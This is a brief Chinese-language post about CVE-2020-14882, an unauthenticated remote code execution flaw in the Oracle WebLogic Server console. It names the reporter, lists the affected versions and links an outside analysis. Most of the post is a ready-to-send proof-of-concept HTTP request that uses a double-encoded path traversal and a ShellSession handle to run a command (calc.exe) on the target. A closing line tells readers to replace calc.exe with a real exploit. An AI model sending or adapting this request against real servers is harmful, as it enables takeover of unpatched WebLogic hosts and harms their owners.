漏洞來源

根據P牛圈子告知，應該是長亭某研究員上報“voidfyoo”。
細節由國外人員披露

漏洞詳情

https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf
以上鍊接需要科-學-上網

影響版本

Oracle Weblogic Server 10.3.6.0.0
Oracle Weblogic Server 12.1.3.0.0
Oracle Weblogic Server 12.2.1.3.0
Oracle Weblogic Server 12.2.1.4.0
Oracle Weblogic Server 14.1.1.0.0

poc

GET/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22);HTTP/1.1
Host:192.168.3.189:7001
User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64;rv:81.0)Gecko/20100101Firefox/81.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language:en-US,en;q=0.5
Accept-Encoding:gzip,deflate
Connection:close
Cookie:ADM
Upgrade-Insecure-Requests:1
 

更改calc.exe 變成exp